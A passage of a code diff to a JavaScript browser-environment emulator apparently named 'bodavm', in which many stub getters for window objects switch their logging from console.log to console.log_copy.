console.log_copy(`window_SVGTextPathElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTextPositioningElement = function () { let arg = bodavm.memory.globalobj['SVGTextPositioningElement']; console.log_copy(`window_SVGTextPositioningElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTitleElement = function () { let arg = bodavm.memory.globalobj['SVGTitleElement']; console.log_copy(`window_SVGTitleElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTransform = function () { let arg = bodavm.memory.globalobj['SVGTransform']; console.log_copy(`window_SVGTransform`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTransformList = function () { let arg = bodavm.memory.globalobj['SVGTransformList']; console.log_copy(`window_SVGTransformList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGUnitTypes = function () { let arg = bodavm.memory.globalobj['SVGUnitTypes']; console.log_copy(`window_SVGUnitTypes`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGUseElement = function () { let arg = bodavm.memory.globalobj['SVGUseElement']; console.log_copy(`window_SVGUseElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGViewElement = function () { let arg = bodavm.memory.globalobj['SVGViewElement']; console.log_copy(`window_SVGViewElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ScreenOrientation = function () { let arg = bodavm.memory.globalobj['ScreenOrientation']; console.log_copy(`window_ScreenOrientation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ScriptProcessorNode = function () { let arg = bodavm.memory.globalobj['ScriptProcessorNode']; console.log_copy(`window_ScriptProcessorNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SecurityPolicyViolationEvent = function () { let arg = bodavm.memory.globalobj['SecurityPolicyViolationEvent']; console.log_copy(`window_SecurityPolicyViolationEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Selection = function () { let arg = bodavm.memory.globalobj['Selection']; console.log_copy(`window_Selection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ShadowRoot = function () { let arg = bodavm.memory.globalobj['ShadowRoot']; console.log_copy(`window_ShadowRoot`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StaticRange = function () { let arg = bodavm.memory.globalobj['StaticRange']; console.log_copy(`window_StaticRange`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StereoPannerNode = function () { let arg = bodavm.memory.globalobj['StereoPannerNode']; console.log_copy(`window_StereoPannerNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StorageEvent = function () { let arg = bodavm.memory.globalobj['StorageEvent']; console.log_copy(`window_StorageEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StylePropertyMap = function () { let arg = bodavm.memory.globalobj['StylePropertyMap']; console.log_copy(`window_StylePropertyMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StylePropertyMapReadOnly = function () { let arg = bodavm.memory.globalobj['StylePropertyMapReadOnly']; console.log_copy(`window_StylePropertyMapReadOnly`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StyleSheet = function () { let arg = bodavm.memory.globalobj['StyleSheet']; console.log_copy(`window_StyleSheet`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StyleSheetList = function () { let arg = bodavm.memory.globalobj['StyleSheetList']; console.log_copy(`window_StyleSheetList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SubmitEvent = function () { let arg = bodavm.memory.globalobj['SubmitEvent']; console.log_copy(`window_SubmitEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SyncManager = function () { let arg = bodavm.memory.globalobj['SyncManager']; console.log_copy(`window_SyncManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TaskAttributionTiming = function () { let arg = bodavm.memory.globalobj['TaskAttributionTiming']; console.log_copy(`window_TaskAttributionTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Text = function () { let arg = bodavm.memory.globalobj['Text']; console.log_copy(`window_Text`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextDecoder = function () { let arg = bodavm.memory.globalobj['TextDecoder']; console.log_copy(`window_TextDecoder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextDecoderStream = function () { let arg = bodavm.memory.globalobj['TextDecoderStream']; console.log_copy(`window_TextDecoderStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextEncoder = function () { let arg = bodavm.memory.globalobj['TextEncoder']; console.log_copy(`window_TextEncoder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextEncoderStream = function () { let arg = bodavm.memory.globalobj['TextEncoderStream']; console.log_copy(`window_TextEncoderStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextEvent = function () { let arg = bodavm.memory.globalobj['TextEvent']; console.log_copy(`window_TextEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextMetrics = function () { let arg = bodavm.memory.globalobj['TextMetrics']; console.log_copy(`window_TextMetrics`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextTrack = function () { let arg = bodavm.memory.globalobj['TextTrack']; console.log_copy(`window_TextTrack`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextTrackCue = function () { let arg = bodavm.memory.globalobj['TextTrackCue']; console.log_copy(`window_TextTrackCue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextTrackCueList = function () { let arg = bodavm.memory.globalobj['TextTrackCueList']; console.log_copy(`window_TextTrackCueList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextTrackList = function () { let arg = bodavm.memory.globalobj['TextTrackList']; console.log_copy(`window_TextTrackList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TimeRanges = function () { let arg = bodavm.memory.globalobj['TimeRanges']; console.log_copy(`window_TimeRanges`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Touch = function () { let arg = bodavm.memory.globalobj['Touch']; console.log_copy(`window_Touch`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TouchEvent = function () { let arg = bodavm.memory.globalobj['TouchEvent']; console.log_copy(`window_TouchEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TouchList = function () { let arg = bodavm.memory.globalobj['TouchList']; console.log_copy(`window_TouchList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TrackEvent = function () { let arg = bodavm.memory.globalobj['TrackEvent']; console.log_copy(`window_TrackEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TransformStream = function () { let arg = bodavm.memory.globalobj['TransformStream']; console.log_copy(`window_TransformStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TransitionEvent = function () { let arg = bodavm.memory.globalobj['TransitionEvent']; console.log_copy(`window_TransitionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TreeWalker = function () { let arg = bodavm.memory.globalobj['TreeWalker']; console.log_copy(`window_TreeWalker`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_UIEvent = function () { let arg = bodavm.memory.globalobj['UIEvent']; console.log_copy(`window_UIEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_URL = function () { let arg = bodavm.memory.globalobj['URL']; console.log_copy(`window_URL`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_URLSearchParams = function () { let arg = bodavm.memory.globalobj['URLSearchParams']; console.log_copy(`window_URLSearchParams`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_UserActivation = function () { let arg = bodavm.memory.globalobj['UserActivation']; console.log_copy(`window_UserActivation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VTTCue = function () { let arg = bodavm.memory.globalobj['VTTCue']; console.log_copy(`window_VTTCue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ValidityState = function () { let arg = bodavm.memory.globalobj['ValidityState']; console.log_copy(`window_ValidityState`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WaveShaperNode = function () { let arg = bodavm.memory.globalobj['WaveShaperNode']; console.log_copy(`window_WaveShaperNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGL2RenderingContext = function () { let arg = bodavm.memory.globalobj['WebGL2RenderingContext']; console.log_copy(`window_WebGL2RenderingContext`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLActiveInfo = function () { let arg = bodavm.memory.globalobj['WebGLActiveInfo']; console.log_copy(`window_WebGLActiveInfo`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLBuffer = function () { let arg = bodavm.memory.globalobj['WebGLBuffer']; console.log_copy(`window_WebGLBuffer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLContextEvent = function () { let arg = bodavm.memory.globalobj['WebGLContextEvent']; console.log_copy(`window_WebGLContextEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLFramebuffer = function () { let arg = bodavm.memory.globalobj['WebGLFramebuffer']; console.log_copy(`window_WebGLFramebuffer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLProgram = function () { let arg = bodavm.memory.globalobj['WebGLProgram']; console.log_copy(`window_WebGLProgram`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLQuery = function () { let arg = bodavm.memory.globalobj['WebGLQuery']; console.log_copy(`window_WebGLQuery`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLRenderbuffer = function () { let arg = bodavm.memory.globalobj['WebGLRenderbuffer']; console.log_copy(`window_WebGLRenderbuffer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLRenderingContext = function () { let arg = bodavm.memory.globalobj['WebGLRenderingContext']; console.log_copy(`window_WebGLRenderingContext`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLSampler = function () { let arg = bodavm.memory.globalobj['WebGLSampler']; console.log_copy(`window_WebGLSampler`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLShader = function () { let arg = bodavm.memory.globalobj['WebGLShader']; console.log_copy(`window_WebGLShader`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLShaderPrecisionFormat = function () { let arg = bodavm.memory.globalobj['WebGLShaderPrecisionFormat']; console.log_copy(`window_WebGLShaderPrecisionFormat`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLSync = function () { let arg = bodavm.memory.globalobj['WebGLSync']; console.log_copy(`window_WebGLSync`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLTexture = function () { let arg = bodavm.memory.globalobj['WebGLTexture']; console.log_copy(`window_WebGLTexture`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLTransformFeedback = function () { let arg = bodavm.memory.globalobj['WebGLTransformFeedback']; console.log_copy(`window_WebGLTransformFeedback`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLUniformLocation = function () { let arg = bodavm.memory.globalobj['WebGLUniformLocation']; console.log_copy(`window_WebGLUniformLocation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLVertexArrayObject = function () { let arg = bodavm.memory.globalobj['WebGLVertexArrayObject']; console.log_copy(`window_WebGLVertexArrayObject`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebSocket = function () { let arg = bodavm.memory.globalobj['WebSocket']; console.log_copy(`window_WebSocket`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WheelEvent = function () { let arg = bodavm.memory.globalobj['WheelEvent']; console.log_copy(`window_WheelEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Worker = function () { let arg = bodavm.memory.globalobj['Worker']; console.log_copy(`window_Worker`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WritableStream = function () { let arg = bodavm.memory.globalobj['WritableStream']; console.log_copy(`window_WritableStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WritableStreamDefaultController = function () { let arg = bodavm.memory.globalobj['WritableStreamDefaultController']; console.log_copy(`window_WritableStreamDefaultController`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WritableStreamDefaultWriter = function () { let arg = bodavm.memory.globalobj['WritableStreamDefaultWriter']; console.log_copy(`window_WritableStreamDefaultWriter`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XMLDocument = function () { let arg = bodavm.memory.globalobj['XMLDocument']; console.log_copy(`window_XMLDocument`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XMLHttpRequest = function () { let arg = bodavm.memory.globalobj['XMLHttpRequest']; console.log_copy(`window_XMLHttpRequest`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XMLHttpRequestEventTarget = function () { let arg = bodavm.memory.globalobj['XMLHttpRequestEventTarget']; console.log_copy(`window_XMLHttpRequestEventTarget`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XMLHttpRequestUpload = function () { let arg = bodavm.memory.globalobj['XMLHttpRequestUpload']; console.log_copy(`window_XMLHttpRequestUpload`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XMLSerializer = function () { let arg = bodavm.memory.globalobj['XMLSerializer']; console.log_copy(`window_XMLSerializer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XPathEvaluator = function () { let arg = bodavm.memory.globalobj['XPathEvaluator']; console.log_copy(`window_XPathEvaluator`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XPathExpression = function () { let arg = bodavm.memory.globalobj['XPathExpression']; console.log_copy(`window_XPathExpression`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XPathResult = function () { let arg = bodavm.memory.globalobj['XPathResult']; console.log_copy(`window_XPathResult`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebKitCSSMatrix = function () { let arg = bodavm.memory.globalobj['DOMMatrix']; console.log_copy(`window_WebKitCSSMatrix`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebKitMutationObserver = function () { let arg = bodavm.memory.globalobj['MutationObserver']; console.log_copy(`window_WebKitMutationObserver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitMediaStream = function () { let arg = bodavm.memory.globalobj['webkitMediaStream']; console.log_copy(`window_webkitMediaStream`, `-> res ->${arg}`); return arg } bodavm.envFunc.window_webkitRTCPeerConnection = function () { - let arg = bodavm.memory.globalobj['webkitRTCPeerConnection']; console.log(`window_webkitRTCPeerConnection`, `-> res ->${arg}` + let arg = bodavm.memory.globalobj['webkitRTCPeerConnection']; console.log_copy(`window_webkitRTCPeerConnection`, `-> res ->${arg}` ); return arg } - bodavm.envFunc.window_webkitURL = function () { let arg = bodavm.memory.globalobj['webkitURL']; console.log(`window_webkitURL`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Audio = function () { let arg = bodavm.memory.globalobj['Audio']; console.log(`window_Audio`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBDatabase = function () { let arg = bodavm.memory.globalobj['IDBDatabase']; console.log(`window_IDBDatabase`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitURL = function () { let arg = bodavm.memory.globalobj['webkitURL']; console.log_copy(`window_webkitURL`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Audio = function () { let arg = bodavm.memory.globalobj['Audio']; console.log_copy(`window_Audio`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBDatabase = function () { let arg = bodavm.memory.globalobj['IDBDatabase']; console.log_copy(`window_IDBDatabase`, `-> res ->${arg}`); return arg } @@ -2169,83 +2356,83 @@ bodavm.memory.Performance={ // } let arg =bodavm.memory.globalobj['MutationObserver'] // arg._boarg=new bodaobj.window.MutationObserver(arguments[0]) - console.log(`window_MutationObserver `, `-> res ->${arg}`); + console.log_copy(`window_MutationObserver `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_oncanplaythrough_get = function () { let arg = bodavm.memory.window['oncanplaythrough'] // arg._boarg= bodaobj.window['oncanplaythrough'] - console.log(`window_oncanplaythrough_get `, `-> res ->${arg}`); + console.log_copy(`window_oncanplaythrough_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_oncanplay_get = function () { let arg = bodavm.memory.window['oncanplay'] // arg._boarg= bodaobj.window['oncanplay'] - console.log(`window_oncanplay_get `, `-> res ->${arg}`); + console.log_copy(`window_oncanplay_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_oncancel_get = function () { let arg = bodavm.memory.window['oncancel'] // arg._boarg= bodaobj.window['oncancel'] - console.log(`window_oncancel_get `, `-> res ->${arg}`); + console.log_copy(`window_oncancel_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_onblur_get = function () { let arg = bodavm.memory.window['onblur'] // arg._boarg= bodaobj.window['onblur'] - console.log(`window_onblur_get `, `-> res ->${arg}`); + console.log_copy(`window_onblur_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_onappinstalled_get = function () { let arg = bodavm.memory.window['onappinstalled'] // arg._boarg= bodaobj.window['onappinstalled'] - console.log(`window_onappinstalled_get `, `-> res ->${arg}`); + console.log_copy(`window_onappinstalled_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_onbeforeinstallprompt_get = function () { let arg = bodavm.memory.window['onbeforeinstallprompt'] // arg._boarg= bodaobj.window['onbeforeinstallprompt'] - console.log(`window_onbeforeinstallprompt_get `, `-> res ->${arg}`); + console.log_copy(`window_onbeforeinstallprompt_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_onbeforexrselect_get = function () { let arg = bodavm.memory.window['onbeforexrselect'] // arg._boarg= bodaobj.window['onbeforexrselect'] - console.log(`window_onbeforexrselect_get `, `-> res ->${arg}`); + console.log_copy(`window_onbeforexrselect_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_onabort_get = function () { let arg = bodavm.memory.window['onabort'] // arg._boarg= bodaobj.window['onabort'] - console.log(`window_onabort_get `, `-> res ->${arg}`); + console.log_copy(`window_onabort_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_isSecureContext_get = function () { let arg = bodavm.memory.window['isSecureContext'] arg._boarg= bodaobj.window['isSecureContext'] - console.log(`window_isSecureContext_get `, `-> res ->${arg}`); + console.log_copy(`window_isSecureContext_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_onsearch_get = function () { // let arg = bodavm.memory.globalobj['onsearch'] ? bodavm.memory.globalobj['onsearch'] : null // arg._boarg= bodaobj.window['onsearch'] let arg = bodavm.memory.window['onsearch'] - console.log(`window_onsearch_get `, `-> res ->${arg}`); + console.log_copy(`window_onsearch_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_styleMedia_get = function () { let arg = bodavm.memory.globalobj['styleMedia'] ? bodavm.memory.globalobj['styleMedia'] : null arg._boarg= bodaobj.window['styleMedia'] - console.log(`window_styleMedia_get `, `-> res ->${arg}`); + console.log_copy(`window_styleMedia_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_frameElement_get = function () { @@ -2254,49 +2441,49 @@ bodavm.memory.Performance={ // arg. arg.__proto__=HTMLIFrameElement.prototype - console.log(`window_frameElement_get `, `-> res ->${arg} `); + console.log_copy(`window_frameElement_get `, `-> res ->${arg} `); return arg } bodavm.envFunc.window_opener_get = function () { let arg = bodavm.memory.window['opener'] // arg._boarg= bodaobj.window['opener'] // let arg= bodaobj.window['opener'] - console.log(`window_opener_get `, `-> res ->${arg}`); + console.log_copy(`window_opener_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_statusbar_get = function () { let arg = bodavm.memory.globalobj['statusbar'] arg._boarg= bodaobj.window['statusbar'] - console.log(`window_statusbar_get `, `-> res ->${arg}`); + console.log_copy(`window_statusbar_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_scrollbars_get = function () { let arg = bodavm.memory.globalobj['scrollbars'] arg._boarg= bodaobj.window['scrollbars'] - console.log(`window_scrollbars_get `, `-> res ->${arg}`); + console.log_copy(`window_scrollbars_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_locationbar_get = function () { let arg = bodavm.memory.globalobj['locationbar'] arg._boarg= bodaobj.window['locationbar'] - console.log(`window_locationbar_get `, `-> res ->${arg}`); + console.log_copy(`window_locationbar_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_personalbar_get = function () { let arg = bodavm.memory.globalobj['personalbar'] arg._boarg= bodaobj.window['personalbar'] - console.log(`window_personalbar_get `, `-> res ->${arg}`); + console.log_copy(`window_personalbar_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_speechSynthesis_get = function () { let arg = bodavm.memory.globalobj['speechSynthesis'] arg._boarg= bodaobj.window['speechSynthesis'] - console.log(`window_speechSynthesis_get `, `-> res ->${arg}`); + console.log_copy(`window_speechSynthesis_get `, `-> res ->${arg}`); return arg } @@ -2305,28 +2492,28 @@ bodavm.memory.Performance={ let arg = bodavm.memory.globalobj['trustedTypes'] arg._boarg= bodaobj.window['trustedTypes'] - console.log(`window_trustedTypes_get `, `-> res -> ${arg}`); + console.log_copy(`window_trustedTypes_get `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_cookieStore_get = function () { let arg = bodavm.memory.globalobj['cookieStore'] arg._boarg= bodaobj.window['cookieStore'] - console.log(`window_cookieStore_get `, `-> res -> ${arg}`); + console.log_copy(`window_cookieStore_get `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_external_get = function () { let arg = bodavm.memory.globalobj['external'] arg._boarg= bodaobj.window['external'] - console.log(`window_external_get `, `-> res -> ${arg}`); + console.log_copy(`window_external_get `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_caches_get = function () { let arg = bodavm.memory.globalobj['caches'] arg._boarg= bodaobj.window['caches'] - console.log(`window_caches_get `, `-> res -> ${arg}`); + console.log_copy(`window_caches_get `, `-> res -> ${arg}`); return arg } @@ -2334,49 +2521,49 @@ bodavm.memory.Performance={ let arg = bodavm.memory.globalobj['visualViewport'] arg._boarg= bodaobj.window['visualViewport'] - console.log(`window_visualViewport_get `, `-> res -> ${arg}`); + console.log_copy(`window_visualViewport_get `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_menubar_get = function () { let arg = bodavm.memory.globalobj['menubar'] arg._boarg= bodaobj.window['menubar'] - console.log(`window_menubar_get `, `-> res -> ${arg}`); + console.log_copy(`window_menubar_get `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_toolbar_get = function () { let arg = bodavm.memory.globalobj['toolbar'] arg._boarg= bodaobj.window['toolbar'] - console.log(`window_toolbar_get `, `-> res -> ${arg}`); + console.log_copy(`window_toolbar_get `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_CookieStore = function () { let arg = bodavm.memory.globalobj['CookieStore'] arg._boarg= bodaobj.window['CookieStore'] - console.log(`window_CookieStore `, `-> res -> ${arg}`); + console.log_copy(`window_CookieStore `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Storage = function () { let arg = bodavm.memory.globalobj['Storage'] arg._boarg= bodaobj.window['Storage'] - console.log(`window_Storage `, `-> res -> ${arg}`); + console.log_copy(`window_Storage `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Navigation = function () { let arg = bodavm.memory.globalobj['Navigation'] arg._boarg= bodaobj.window['Navigation'] - console.log(`window_Navigation `, `-> res -> ${arg}`); + console.log_copy(`window_Navigation `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_VisualViewport = function () { let arg = bodavm.memory.globalobj['VisualViewport'] arg._boarg= bodaobj.window['VisualViewport'] - console.log(`window_VisualViewport `, `-> res -> ${arg}`); + console.log_copy(`window_VisualViewport `, `-> res -> ${arg}`); return arg } @@ -2384,35 +2571,35 @@ bodavm.memory.Performance={ let arg = bodavm.memory.globalobj['History'] arg._boarg= bodaobj.window['History'] - console.log(`window_History `, `-> res -> ${arg}`); + console.log_copy(`window_History `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_IDBFactory = function () { let arg = bodavm.memory.globalobj['IDBFactory'] arg._boarg= bodaobj.window['IDBFactory'] - console.log(`window_IDBFactory `, `-> res -> ${arg}`); + console.log_copy(`window_IDBFactory `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_TrustedTypePolicyFactory = function () { let arg = bodavm.memory.globalobj['TrustedTypePolicyFactory'] arg._boarg= bodaobj.window['TrustedTypePolicyFactory'] - console.log(`window_TrustedTypePolicyFactory `, `-> res -> ${arg}`); + console.log_copy(`window_TrustedTypePolicyFactory `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_External = function () { let arg = bodavm.memory.globalobj['External'] arg._boarg= bodaobj.window['External'] - console.log(`window_External `, `-> res -> ${arg}`); + console.log_copy(`window_External `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_CacheStorage = function () { let arg = bodavm.memory.globalobj['CacheStorage'] arg._boarg= bodaobj.window['CacheStorage'] - console.log(`window_CacheStorage `, `-> res -> ${arg}`); + console.log_copy(`window_CacheStorage `, `-> res -> ${arg}`); return arg } @@ -2421,35 +2608,35 @@ bodavm.memory.Performance={ let arg = bodavm.memory.globalobj['CustomElementRegistry'] arg._boarg= bodaobj.window['CustomElementRegistry'] - console.log(`window_CustomElementRegistry `, `-> res -> ${arg}`); + console.log_copy(`window_CustomElementRegistry `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Window = function () { let arg = bodavm.memory.globalobj['Window'] arg._boarg= bodaobj.window['Window'] - console.log(`window_Window `, `-> res -> ${arg}`); + console.log_copy(`window_Window `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Screen = function () { let arg = bodavm.memory.globalobj['Screen'] arg._boarg= bodaobj.window['Screen'] - console.log(`window_Screen `, `-> res -> ${arg}`); + console.log_copy(`window_Screen `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Navigator = function () { let arg = bodavm.memory.globalobj['Navigator'] arg._boarg= bodaobj.window['Navigator'] - console.log(`window_Navigator `, `-> res -> ${arg}`); + console.log_copy(`window_Navigator `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Performance = function () { let arg = bodavm.memory.globalobj['Performance'] arg._boarg= bodaobj.window['Performance'] - console.log(`window_Performance `, `-> res -> ${arg}`); + console.log_copy(`window_Performance `, `-> res -> ${arg}`); return arg } @@ -2457,48 +2644,48 @@ bodavm.memory.Performance={ let arg = bodavm.memory.globalobj['BarProp'] arg._boarg= bodaobj.window['BarProp'] - console.log(`window_BarProp `, `-> res -> ${arg}`); + console.log_copy(`window_BarProp `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Location = function () { let arg = bodavm.memory.globalobj['Location'] arg._boarg= bodaobj.window['Location'] - console.log(`window_Location `, `-> res -> ${arg}`); + console.log_copy(`window_Location `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Document = function () { let arg = bodavm.memory.globalobj['Document'] arg._boarg= bodaobj.window['Document'] - console.log(`window_Document `, `-> res -> ${arg}`); + console.log_copy(`window_Document `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_webkitStorageInfo_get = function () { let webkitStorageInfo_ = bodavm.memory.globalobj['webkitStorageInfo'] webkitStorageInfo_._boarg= bodaobj.window['webkitStorageInfo'] - console.log(`window_webkitStorageInfo_get `, `webkitStorageInfo->`, webkitStorageInfo_); + console.log_copy(`window_webkitStorageInfo_get `, `webkitStorageInfo->`, webkitStorageInfo_); return webkitStorageInfo_ } bodavm.envFunc.window_navigation_get = function () { let navigation_ = bodavm.memory.globalobj['navigation'] navigation_._boarg= bodaobj.window['navigation'] - console.log(`window_navigation_get `, `navigation->`, navigation_); + console.log_copy(`window_navigation_get `, `navigation->`, navigation_); return navigation_ } bodavm.envFunc.window_performance_get = function () { let perf = bodavm.memory.globalobj['performance'] perf._boarg= bodaobj.window['performance'] - console.log(`window_performance_get `, `performance->`, perf); + console.log_copy(`window_performance_get `, `performance->`, perf); // debugger return perf } bodavm.envFunc.window_navigator_get = function () { let navigator_ = bodavm.memory.globalobj.navigator - console.log(`window_navigator_get `, `navigator->`, navigator_); + console.log_copy(`window_navigator_get `, `navigator->`, navigator_); navigator_._boarg= bodaobj.window['navigator'] return navigator_ @@ -2507,13 +2694,13 @@ bodavm.memory.Performance={ let customElements_ = bodavm.memory.globalobj.customElements customElements_._boarg= bodaobj.window['customElements'] - console.log(`window_customElements_get `, `customElements->`, customElements_); + console.log_copy(`window_customElements_get `, `customElements->`, customElements_); return customElements_ } bodavm.envFunc.window_screen_get = function () { let screen_ = bodavm.memory.globalobj.screen - console.log(`window_screen_get `, `screen->`, screen_); + console.log_copy(`window_screen_get `, `screen->`, screen_); screen_._boarg= bodaobj.window['screen'] return screen_ @@ -2522,14 +2709,14 @@ bodavm.memory.Performance={ bodavm.envFunc.window_history_get = function () { let history_ = bodavm.memory.globalobj.history - console.log(`window_history_get `, `history->`, history_); + console.log_copy(`window_history_get `, `history->`, history_); history_._boarg= bodaobj.window['history'] return history_ } bodavm.envFunc.window_localStorage_get = function window_localStorage_get() { let localStorage_ = bodavm.memory.globalobj.localStorage - console.log(`window_localStorage_get `, `localStorage->`, localStorage_); + console.log_copy(`window_localStorage_get `, `localStorage->`, localStorage_); // debugger // localStorage_._boarg= bodaobj.window['localStorage'] @@ -2537,14 +2724,14 @@ bodavm.memory.Performance={ } bodavm.envFunc.window_indexedDB_get = function window_indexedDB_get() { let indexedDB_ = bodavm.memory.globalobj.indexedDB - console.log(`window_indexedDB_get `, `indexedDB->`, indexedDB_); + console.log_copy(`window_indexedDB_get `, `indexedDB->`, indexedDB_); indexedDB_._boarg= bodaobj.window['indexedDB'] return indexedDB_ } bodavm.envFunc.window_sessionStorage_get = function window_sessionStorage_get() { let sessionStorage_ = bodavm.memory.globalobj.sessionStorage - console.log(`window_sessionStorage_get `, `sessionStorage->`, sessionStorage_); + console.log_copy(`window_sessionStorage_get `, `sessionStorage->`, sessionStorage_); // sessionStorage_._boarg= 